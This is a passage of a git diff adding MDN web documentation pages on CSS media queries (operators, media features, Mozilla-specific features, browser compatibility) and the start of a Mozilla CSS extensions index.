+<pre class="brush: css" style="font-size: 14px;">@media not all and (monochrome) { ... }
+</pre>
+
+<p>This means that the query is evaluated like this:</p>
+
+<pre class="brush: css" style="font-size: 14px;">@media not (all and (monochrome)) { ... }
+</pre>
+
+<p>... rather than like this:</p>
+
+<pre class="brush: css" style="font-size: 14px;">@media (not all) and (monochrome) { ... }</pre>
+
+<p>As another example, look at the following media query:</p>
+
+<pre class="brush: css" style="font-size: 14px;">@media not screen and (color), print and (color)
+</pre>
+
+<p>It is evaluated like this:</p>
+
+<pre class="brush: css" style="font-size: 14px;">@media (not (screen and (color))), print and (color)</pre>
+
+<h4 id="only">only</h4>
+
+<p><span style="line-height: 21px;">The </span><code style="font-size: 14px;">only</code><span style="line-height: 21px;"> keyword prevents older browsers that do not support media queries with media features from applying the given styles:</span></p>
+
+<pre class="brush: html">&lt;link rel="stylesheet" media="only screen and (color)" href="example.css" /&gt;
+</pre>
+
+<h3 id="Pseudo-BNF_(for_those_of_you_that_like_that_kind_of_thing)">Pseudo-BNF (for those of you that like that kind of thing)</h3>
+
+<pre>media_query_list: &lt;media_query&gt; [, &lt;media_query&gt; ]*
+media_query: [[only | not]? &lt;media_type&gt; [ and &lt;expression&gt; ]*]
+ | &lt;expression&gt; [ and &lt;expression&gt; ]*
+expression: ( &lt;media_feature&gt; [: &lt;value&gt;]? )
+media_type: all | aural | braille | handheld | print |
+ projection | screen | tty | tv | embossed
+media_feature: width | min-width | max-width
+ | height | min-height | max-height
+ | device-width | min-device-width | max-device-width
+ | device-height | min-device-height | max-device-height
+ | aspect-ratio | min-aspect-ratio | max-aspect-ratio
+ | device-aspect-ratio | min-device-aspect-ratio | max-device-aspect-ratio
+ | color | min-color | max-color
+ | color-index | min-color-index | max-color-index
+ | monochrome | min-monochrome | max-monochrome
+ | resolution | min-resolution | max-resolution
+ | scan | grid</pre>
+
+<p>Media queries are case insensitive.  Media queries involving unknown media types are always false.</p>
+
+<div class="note"><strong>Note:</strong> Parentheses are required around expressions; failing to use them is an error.</div>
+
+<h2 id="Media_features">Media features</h2>
+
+<p>Most media features can be prefixed with "min-" or "max-" to express "greater or equal to" or "less than or equal to" constraints.  This avoids using the "&lt;" and "&gt;" symbols, which would conflict with HTML and XML.  If you use a media feature without specifying a value, the expression resolves to true if the feature's value is non-zero.</p>
+
+<div class="note"><strong>Note:</strong> If a media feature doesn't apply to the device on which the browser is running, expressions involving that media feature are always false.  For example, querying the aspect ratio of an aural device always results in false.</div>
+
+<h3 id="color">color</h3>
+
+<p><strong>Value:</strong> {{cssxref("&lt;color&gt;")}}<br>
+ <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Accepts min/max prefixes:</strong> yes</p>
+
+<p>Indicates the number of bits per color component of the output device.  If the device is not a color device, this value is zero.</p>
+
+<div class="note"><strong>Note:</strong> If the color components have different numbers of bits per color component, the smallest number is used.  For example, if a display uses 5 bits for blue and red and 6 bits for green, then the device is considered to use 5 bits per color component.  If the device uses indexed colors, the minimum number of bits per color component in the color table is used.</div>
+
+<h4 id="Examples">Examples</h4>
+
+<p>To apply a style sheet to all color devices:</p>
+
+<pre class="brush: css">@media all and (color) { ... }
+</pre>
+
+<p>To apply a style sheet to devices with at least 4 bits per color component:</p>
+
+<pre class="brush: css">@media all and (min-color: 4) { ... }
+</pre>
+
+<h3 id="color-index">color-index</h3>
+
+<p><strong>Value:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Accepts min/max prefixes:</strong> yes</p>
+
+<p>Indicates the number of entries in the color look-up table for the output device.</p>
+
+<h4 id="Examples_2">Examples</h4>
+
+<p>To indicate that a style sheet should apply to all devices using indexed color, you can do:</p>
+
+<pre class="brush: css">@media all and (color-index) { ... }
+</pre>
+
+<p>To apply a style sheet to indexed color devices with at least 256 colors:</p>
+
+<pre class="brush: html">&lt;link rel="stylesheet" media="all and (min-color-index: 256)" href="http://foo.bar.com/stylesheet.css" /&gt;
+</pre>
+
+<h3 id="aspect-ratio">aspect-ratio</h3>
+
+<p><strong>Value:</strong> {{cssxref("&lt;ratio&gt;")}}<br>
+ <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}, {{cssxref("Media/Tactile")}}<br>
+ <strong>Accepts min/max prefixes:</strong> yes</p>
+
+<p>Describes the aspect ratio of the targeted display area of the output device.  This value consists of two positive integers separated by a slash ("/") character.  This represents the ratio of horizontal pixels (first term) to vertical pixels (second term).</p>
+
+<h4 id="Example">Example</h4>
+
+<p>The following selects a special style sheet to use for when the display area is at least as wide as it is high.</p>
+
+<pre class="brush: css">@media screen and (min-aspect-ratio: 1/1) { ... }</pre>
+
+<p>This selects the style when the aspect ratio is either 1:1 or greater. In other words, these styles will only be applied when the viewing area is square or landscape.</p>
+
+<h3 id="device-aspect-ratio">device-aspect-ratio</h3>
+
+<p><strong>Value:</strong> {{cssxref("&lt;ratio&gt;")}}<br>
+ <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}, {{cssxref("Media/Tactile")}}<br>
+ <strong>Accepts min/max prefixes:</strong> yes</p>
+
+<p>Describes the aspect ratio of the output device.  This value consists of two positive integers separated by a slash ("/") character.  This represents the ratio of horizontal pixels (first term) to vertical pixels (second term).</p>
+
+<h4 id="Example_2">Example</h4>
+
+<p>The following selects a special style sheet to use for widescreen displays.</p>
+
+<pre class="brush: css">@media screen and (device-aspect-ratio: 16/9), screen and (device-aspect-ratio: 16/10) { ... }</pre>
+
+<p>This selects the style when the aspect ratio is either 16:9 or 16:10.</p>
+
+<h3 id="device-height">device-height</h3>
+
+<p><strong>Value:</strong> {{cssxref("&lt;length&gt;")}}<br>
+ <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}, {{cssxref("Media/Tactile")}}<br>
+ <strong>Accepts min/max prefixes:</strong> yes</p>
+
+<p>Describes the height of the output device (meaning the entire screen or page, rather than just the rendering area, such as the document window).</p>
+
+<h4 id="Example_3">Example</h4>
+
+<p>To apply a style sheet to a document when displayed on a screen that is less than 800 pixels long, you can use this:</p>
+
+<pre class="brush: html">&lt;link rel="stylesheet" media="screen and (max-device-height: 799px)" /&gt;
+</pre>
+
+<h3 id="device-width">device-width</h3>
+
+<p><strong>Value:</strong> {{cssxref("&lt;length&gt;")}}<br>
+ <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}, {{cssxref("Media/Tactile")}}<br>
+ <strong>Accepts min/max prefixes:</strong> yes</p>
+
+<p>Describes the width of the output device (meaning the entire screen or page, rather than just the rendering area, such as the document window).</p>
+
+<h4 id="Example_4">Example</h4>
+
+<p>To apply a style sheet to a document when displayed on a screen that is less than 800 pixels wide, you can use this:</p>
+
+<pre class="brush: html" style="font-size: 14px;">&lt;link rel="stylesheet" media="screen and (max-device-width: 799px)" /&gt;</pre>
+
+<h3 id="grid">grid</h3>
+
+<p><strong>Value:</strong> <code>&lt;mq-boolean&gt;</code> which is an {{cssxref("&lt;integer&gt;")}} that can only have the <code>0</code> and <code>1</code> value.<br>
+ <strong style="font-weight: bold;">Media</strong><strong>:</strong> all<br>
+ <strong>Accepts min/max prefixes:</strong> no</p>
+
+<p>Determines whether the output device is a grid device or a bitmap device.  If the device is grid-based (such as a TTY terminal or a phone display with only one font), the value is 1.  Otherwise it is zero.</p>
+
+<h4 id="Example_5">Example</h4>
+
+<p>To apply a style to handheld devices with a 15-character or narrower display:</p>
+
+<pre class="brush: css">@media handheld and (grid) and (max-width: 15em) { ... }
+</pre>
+
+<div class="note"><strong>Note:</strong> The "em" unit has a special meaning for grid devices; since the exact width of an "em" can't be determined, 1em is assumed to be the width of one grid cell horizontally, and the height of one cell vertically.</div>
+
+<h3 id="height">height</h3>
+
+<p><strong>Value:</strong> {{cssxref("&lt;length&gt;")}}<br>
+ <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}, {{cssxref("Media/Tactile")}}<br>
+ <strong>Accepts min/max prefixes:</strong> yes</p>
+
+<p>The <code>height</code> media feature describes the height of the output device's rendering surface (such as the height of the viewport or of the page box on a printer).</p>
+
+<div class="note"><strong>Note:</strong> As the user resizes the window, Firefox switches style sheets as appropriate based on media queries using the <code>width</code> and <code>height</code> media features.</div>
+
+<h3 id="monochrome">monochrome</h3>
+
+<p><strong>Value:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Accepts min/max prefixes:</strong> yes</p>
+
+<p>Indicates the number of bits per pixel on a monochrome (greyscale) device.  If the device isn't monochrome, the device's value is 0.</p>
+
+<h4 id="Examples_3">Examples</h4>
+
+<p>To apply a style sheet to all monochrome devices:</p>
+
+<pre class="brush: css">@media all and (monochrome) { ... }
+</pre>
+
+<p>To apply a style sheet to monochrome devices with at least 8 bits per pixel:</p>
+
+<pre class="brush: css">@media all and (min-monochrome: 8) { ... }
+</pre>
+
+<h3 id="orientation">orientation</h3>
+
+<p><strong>Value:</strong> <code>landscape</code> | <code>portrait</code><br>
+ <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Accepts min/max prefixes:</strong> no</p>
+
+<p>Indicates whether the viewport is in landscape (the display is wider than it is tall) or portrait (the display is taller than it is wide) mode.</p>
+
+<h4 id="Example_6">Example</h4>
+
+<p>To apply a style sheet only in portrait orientation:</p>
+
+<pre class="brush: css">@media all and (orientation: portrait) { ... }</pre>
+
+<div class="note"><strong>Note:</strong> This value does not correspond to actual device orientation. Opening the soft keyboard on most devices in portrait orientation will cause the viewport to become wider than it is tall, thereby causing the browser to use landscape styles instead of portrait.</div>
+
+<h3 id="resolution">resolution</h3>
+
+<p><strong>Value:</strong> {{cssxref("&lt;resolution&gt;")}}<br>
+ <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Bitmap", "bitmap")}}<br>
+ <strong>Accepts min/max prefixes:</strong> yes</p>
+
+<p>Indicates the resolution (pixel density) of the output device.  The resolution may be specified in either dots per inch (dpi) or dots per centimeter (dpcm).</p>
+
+<h4 id="Example_7">Example</h4>
+
+<p>To apply a style sheet to devices with at least 300 dots per inch of resolution:</p>
+
+<pre class="brush: css">@media print and (min-resolution: 300dpi) { ... }
+</pre>
+
+<p>To replace the old <span style="font-family: courier new,andale mono,monospace; line-height: normal;">(min-device-pixel-ratio: 2) </span>syntax:</p>
+
+<pre class="brush: css">@media screen and (min-resolution: 2dppx) { ... }</pre>
+
+<h3 id="scan">scan</h3>
+
+<p><strong>Value:</strong> <code>progressive</code> | <code>interlace</code><br>
+ <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/TV")}}<br>
+ <strong>Accepts min/max prefixes:</strong> no</p>
+
+<p>Describes the scanning process of television output devices.</p>
+
+<h4 id="Example_8">Example</h4>
+
+<p>To apply a style sheet only to progressive scanning televisions:</p>
+
+<pre class="brush: css">@media tv and (scan: progressive) { ... }
+</pre>
+
+<h3 id="width">width</h3>
+
+<p><strong>Value:</strong> {{cssxref("&lt;length&gt;")}}<br>
+ <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}, {{cssxref("Media/Tactile")}}<br>
+ <strong>Accepts min/max prefixes:</strong> yes</p>
+
+<p>The <code>width</code> media feature describes the width of the rendering surface of the output device (such as the width of the document window, or the width of the page box on a printer).</p>
+
+<div class="note"><strong>Note:</strong> As the user resizes the window, Firefox switches style sheets as appropriate based on media queries using the <code>width</code> and <code>height</code> media features.</div>
+
+<h4 id="Examples_4">Examples</h4>
+
+<p>If you want to specify a style sheet for handheld devices, or screen devices with a width greater than 20em, you can use this query:</p>
+
+<pre class="brush: css">@media handheld and (min-width: 20em), screen and (min-width: 20em) { ... }
+</pre>
+
+<p>This media query specifies a style sheet that applies to printed media wider than 8.5 inches:</p>
+
+<pre class="brush: html">&lt;link rel="stylesheet" media="print and (min-width: 8.5in)"
+ href="http://foo.com/mystyle.css" /&gt;
+</pre>
+
+<p>This query specifies a style sheet that is usable when the viewport is between 500 and 800 pixels wide:</p>
+
+<pre class="brush: css">@media screen and (min-width: 500px) and (max-width: 800px) { ... }
+</pre>
+
+<h2 id="Mozilla-specific_media_features">Mozilla-specific media features</h2>
+
+<p>Mozilla offers several Gecko-specific media features. Some of these may be proposed as official media features.</p>
+
+<p>{{ h3_gecko_minversion("-moz-images-in-menus", "1.9.2") }}</p>
+
+<p><strong>Value:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Accepts min/max prefixes:</strong> no</p>
+
+<p>If the device allows images to appear in menus, this is 1; otherwise, the value is 0. This corresponds to the {{ cssxref(":-moz-system-metric(images-in-menus)") }} CSS <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a>.</p>
+
+<p>{{ h3_gecko_minversion("-moz-mac-graphite-theme", "1.9.2") }}</p>
+
+<p><strong>Value:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Accepts min/max prefixes:</strong> no</p>
+
+<p>If the user has configured their device to use the "Graphite" appearance on Mac OS X, this is 1. If the user is using the standard blue appearance, or is not on Mac OS X, this is 0.</p>
+
+<p>This corresponds to the {{ cssxref(":-moz-system-metric(mac-graphite-theme)") }} CSS <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a>.</p>
+
+<p>{{ h3_gecko_minversion("-moz-maemo-classic", "1.9.2") }}</p>
+
+<p><strong>Value:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Accepts min/max prefixes:</strong> no</p>
+
+<p>If the user is using Maemo with the original theme, this is 1; if it's using the newer Fremantle theme, this is 0.</p>
+
+<p>This corresponds to the {{ cssxref(":-moz-system-metric(maemo-classic)") }} CSS <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a>.</p>
+
+<p>{{ h3_gecko_minversion("-moz-device-pixel-ratio", "2.0") }} {{ deprecated_inline("gecko&amp;16") }}</p>
+
+<p><strong>Value:</strong> {{cssxref("&lt;number&gt;")}}<br>
+ <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Accepts min/max prefixes:</strong> yes</p>
+
+<p>Gives the number of device pixels per CSS pixel.</p>
+
+<div class="geckoVersionNote">
+<p><strong>Do not use this feature. </strong></p>
+
+<p>Use the <code>resolution</code> feature with the <code>dppx</code> unit instead.<br>
+ <br>
+ <code>-moz-device-pixel-ratio</code> may be used for compatibility with Firefox older than 16 and <code>-webkit-device-pixel-ratio</code> with WebKit-based browsers that do not support <code>dppx</code>.</p>
+
+<p>Example:</p>
+
+<pre>@media (-webkit-min-device-pixel-ratio: 2), /* Webkit-based browsers */
+ (min--moz-device-pixel-ratio: 2), /* Older Firefox browsers (prior to Firefox 16) */
+ (min-resolution: 2dppx), /* The standard way */
+ (min-resolution: 192dpi) /* dppx fallback */ </pre>
+
+<p>See this <a href="http://www.w3.org/blog/CSS/2012/06/14/unprefix-webkit-device-pixel-ratio/" title="http://www.w3.org/blog/CSS/2012/06/14/unprefix-webkit-device-pixel-ratio/">CSSWG article</a> for compatibility good practices regarding <code>resolution</code> and <code>dppx</code>.</p>
+</div>
+
+<div class="note"><strong>Note</strong>: This media feature is also implemented by Webkit and by <a href="https://msdn.microsoft.com/en-us/library/ie/dn760733(v=vs.85).aspx">IE 11 for Windows Phone 8.1</a> as <span style="font-family: courier new;">-webkit-device-pixel-ratio</span>. The min and max prefixes as implemented by Gecko are named <span style="font-family: courier new;">min--moz-device-pixel-ratio</span> and <span style="font-family: courier new;">max--moz-device-pixel-ratio</span>; but the same prefixes as implemented by Webkit are named <span style="font-family: courier new;">-webkit-min-device-pixel-ratio</span> and <span style="font-family: courier new;">-webkit-max-device-pixel-ratio</span>.</div>
+
+<p>{{ h3_gecko_minversion("-moz-os-version", "25.0") }}</p>
+
+<p><strong>Value:</strong> <code>windows-xp</code> | <code>windows-vista</code> | <code>windows-win7</code> | <code>windows-win8 | windows-win10</code><br>
+ <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Accepts min/max prefixes:</strong> no</p>
+
+<p>Indicates which operating system version is currently being used. Currently only implemented on Windows. Possible values are:</p>
+
+<ul>
+ <li><code>windows-xp</code></li>
+ <li><code>windows-vista</code></li>
+ <li><code>windows-win7</code></li>
+ <li><code>windows-win8</code></li>
+ <li><code>windows-win10</code></li>
+</ul>
+
+<p>This is provided for application skins and other chrome code to be able to adapt to work well with the current operating system version.</p>
+
+<p>{{ h3_gecko_minversion("-moz-scrollbar-end-backward", "1.9.2") }}</p>
+
+<p><strong>Value:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Accepts min/max prefixes:</strong> no</p>
+
+<p>If the device's user interface displays a backward arrow button at the end of scrollbars, this is 1. Otherwise it's 0.</p>
+
+<p>This corresponds to the {{ cssxref(":-moz-system-metric(scrollbar-end-backward)") }} CSS <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a>.</p>
+
+<p>{{ h3_gecko_minversion("-moz-scrollbar-end-forward", "1.9.2") }}</p>
+
+<p><strong>Value:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Accepts min/max prefixes:</strong> no</p>
+
+<p>If the device's user interface displays a forward arrow button at the end of scrollbars, this is 1. Otherwise it's 0.</p>
+
+<p>This corresponds to the {{ cssxref(":-moz-system-metric(scrollbar-end-forward)") }} CSS <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a>.</p>
+
+<p>{{ h3_gecko_minversion("-moz-scrollbar-start-backward", "1.9.2") }}</p>
+
+<p><strong>Value:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Accepts min/max prefixes:</strong> no</p>
+
+<p>If the device's user interface displays a backward arrow button at the beginning of scrollbars, this is 1. Otherwise it's 0.</p>
+
+<p>This corresponds to the {{ cssxref(":-moz-system-metric(scrollbar-start-backward)") }} CSS <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a>.</p>
+
+<p>{{ h3_gecko_minversion("-moz-scrollbar-start-forward", "1.9.2") }}</p>
+
+<p><strong>Value:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Accepts min/max prefixes:</strong> no</p>
+
+<p>If the device's user interface displays a forward arrow button at the beginning of scrollbars, this is 1. Otherwise it's 0.</p>
+
+<p>This corresponds to the {{ cssxref(":-moz-system-metric(scrollbar-start-forward)") }} CSS <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a>.</p>
+
+<p>{{ h3_gecko_minversion("-moz-scrollbar-thumb-proportional", "1.9.2") }}</p>
+
+<p><strong>Value:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Accepts min/max prefixes:</strong> no</p>
+
+<p>If the device's user interface displays the thumb of scrollbars proportionally (that is, sized based on the percentage of the document that is visible), this is 1. Otherwise it's 0.</p>
+
+<p>This corresponds to the {{ cssxref(":-moz-system-metric(scrollbar-thumb-proportional)") }} CSS <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a>.</p>
+
+<p>{{ h3_gecko_minversion("-moz-touch-enabled", "1.9.2") }}</p>
+
+<p><strong>Value:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Accepts min/max prefixes:</strong> no</p>
+
+<p>If the device supports touch events (for a touch screen), this is 1. Otherwise it's 0.</p>
+
+<p>This corresponds to the {{ cssxref(":-moz-system-metric(touch-enabled)") }} CSS <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a>.</p>
+
+<h4 id="Example_9">Example</h4>
+
+<p>You might use this to render your buttons slightly larger, for example, if the user is on a touch-screen device, to make them more finger-friendly.</p>
+
+<p>{{ h3_gecko_minversion("-moz-windows-classic", "1.9.2") }}</p>
+
+<p><strong>Value:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Accepts min/max prefixes:</strong> no</p>
+
+<p>If the user is using Windows unthemed (in classic mode instead of using uxtheme), this is 1; otherwise it's 0.</p>
+
+<p>This corresponds to the {{ cssxref(":-moz-system-metric(windows-classic)") }} CSS <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a>.</p>
+
+<p>{{ h3_gecko_minversion("-moz-windows-compositor", "1.9.2") }}</p>
+
+<p><strong>Value:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Accepts min/max prefixes:</strong> no</p>
+
+<p>If the user is using Windows with the DWM compositor, this is 1; otherwise it's 0.</p>
+
+<p>This corresponds to the {{ cssxref(":-moz-system-metric(windows-compositor)") }} CSS <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a>.</p>
+
+<p>{{ h3_gecko_minversion("-moz-windows-default-theme", "1.9.2") }}</p>
+
+<p><strong>Value:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Accepts min/max prefixes:</strong> no</p>
+
+<p>If the user is currently using one of the default Windows themes (Luna, Royale, Zune, or Aero (including Vista Basic, Vista Advanced, and Aero Glass), this is 1. Otherwise it's 0.</p>
+
+<p>This corresponds to the {{ cssxref(":-moz-system-metric(windows-default-theme)") }} CSS <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a>.</p>
+
+<p>{{ h3_gecko_minversion("-moz-windows-glass", "21.0") }}</p>
+
+<p><strong>Value:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Accepts min/max prefixes:</strong> no</p>
+
+<p>If the user is using Windows Glass theme, this is 1; otherwise it's 0. Note that this only exists for Windows 7 and earlier.</p>
+
+<p>{{ h3_gecko_minversion("-moz-windows-theme", "2.0") }}</p>
+
+<p><strong>Value:</strong> <code>aero</code> | <code>luna-blue</code> | <code>luna-olive</code> | <code>luna-silver</code> | <code>royale</code> | <code>generic</code> | <code>zune</code><br>
+ <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Accepts min/max prefixes:</strong> no</p>
+
+<p>Indicates which Windows theme is currently being used. Only available on Windows. Possible values are:</p>
+
+<ul>
+ <li><code>aero</code></li>
+ <li><code>luna-blue</code></li>
+ <li><code>luna-olive</code></li>
+ <li><code>luna-silver</code></li>
+ <li><code>royale</code></li>
+ <li><code>generic</code></li>
+ <li><code>zune</code></li>
+</ul>
+
+<p>This is provided for application skins and other chrome code to be able to adapt to work well with the current Windows theme.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatChrome("21") }}</td>
+ <td>{{ CompatGeckoDesktop("1.9.1") }}</td>
+ <td>{{ CompatIE("9.0") }}</td>
+ <td>{{ CompatOpera("9") }}</td>
+ <td>{{ CompatSafari("4") }}</td>
+ </tr>
+ <tr>
+ <td>grid</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatNo() }} [1]</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ </tr>
+ <tr>
+ <td>resolution</td>
+ <td>{{ CompatChrome("29") }}</td>
+ <td>{{ CompatGeckoDesktop("1.9.1") }} [2]<br>
+ {{ CompatGeckoDesktop("8.0") }} [3]</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ </tr>
+ <tr>
+ <td>scan</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatNo() }} [4]</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <code>grid</code> media type is not supported</p>
+
+<p>[2] Supports {{cssxref("&lt;integer&gt;")}} values;</p>
+
+<p>[3] Supports {{cssxref("&lt;number&gt;")}} values, as per the spec.</p>
+
+<p>[4] <code>tv</code> media type is not supported</p>
+
+<p> </p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/css3-mediaqueries/" title="http://www.w3.org/TR/css3-mediaqueries/">CSS 3 media query specification</a></li>
+ <li><a class="internal" href="/en-US/docs/CSS/@media" title="En/CSS/@media">Media types</a></li>
+ <li><a href="/en-US/docs/CSS/Using_media_queries_from_code" title="en/CSS/Using media queries from code">Using media queries from code</a></li>
+ <li><a href="http://i-skool.co.uk/mobile-development/web-design-for-mobiles-and-tablets-viewport-sizes/">List of mobile and tablet viewport sizes with pixel ratios and physical sizes</a></li>
+ <li><a href="http://davidwalsh.name/animate-media-queries">CSS Animations Between Media Queries</a> by David Walsh</li>
+</ul>
diff --git a/files/pl/web/css/mozilla_extensions/index.html b/files/pl/web/css/mozilla_extensions/index.html
new file mode 100644
index 0000000000..7bdbe05032
--- /dev/null
+++ b/files/pl/web/css/mozilla_extensions/index.html
@@ -0,0 +1,679 @@
+---
+title: Rozszerzenia Mozilli
+slug: Web/CSS/Mozilla_Extensions
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - 'CSS:Rozszerzenia_Mozilli'
+ - Dodatki
+ - Dokumentacje
+ - Rozszerzenia
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/CSS/Mozilla_Extensions
+---
+<div>{{CSSRef}}</div>
+
+<p>Mozilla applications such as Firefox support a number of special <strong>Mozilla extensions to <a href="/en-US/docs/Web/CSS">CSS</a></strong>, including properties, values, pseudo-elements and pseudo-classes, at-rules, and media queries. These extensions are prefixed with <code>-moz</code>.</p>
+
+<h2 id="Mozilla-only_properties_and_pseudo-classes_(avoid_using_on_websites)">Mozilla-only properties and pseudo-classes (avoid using on websites)</h2>
+
+<div class="note">
+<p><strong>Note:</strong> These properties and pseudo-classes will only work in Mozilla applications such as Firefox, and are not on a standards track. Some of them apply only to <a href="/en-US/docs/Mozilla/Tech/XUL">XUL</a> elements.</p>
+</div>
+
+<div class="index">
+<h3 id="B">B</h3>
+
+<ul>
+ <li>{{Cssxref("-moz-binding")}}</li>
+ <li>{{Cssxref("-moz-border-bottom-colors")}}</li>
+ <li>{{Cssxref("-moz-border-left-colors")}}</li>
+ <li>{{Cssxref("-moz-border-right-colors")}}</li>
+ <li>{{Cssxref("-moz-border-top-colors")}}</li>
+ <li>{{Cssxref("-moz-box-align")}}</li>
+ <li>{{Cssxref("-moz-box-direction")}}</li>
+ <li>{{Cssxref("-moz-box-flex")}}</li>
+ <li>{{Cssxref("-moz-box-ordinal-group")}}</li>
+ <li>{{Cssxref("-moz-box-orient")}}</li>
+ <li>{{Cssxref("-moz-box-pack")}}</li>
+</ul>
+
+<h3 id="C_–_I">C – I</h3>
+
+<ul>
+ <li>{{Cssxref("-moz-context-properties")}}</li>
+ <li>{{Cssxref("-moz-float-edge")}}</li>
+ <li>{{Cssxref("-moz-force-broken-image-icon")}}</li>
+ <li>{{Cssxref("-moz-image-region")}}</li>
+</ul>
+
+<h3 id="O">O</h3>
+
+<ul>
+ <li>{{cssxref("-moz-orient")}}</li>
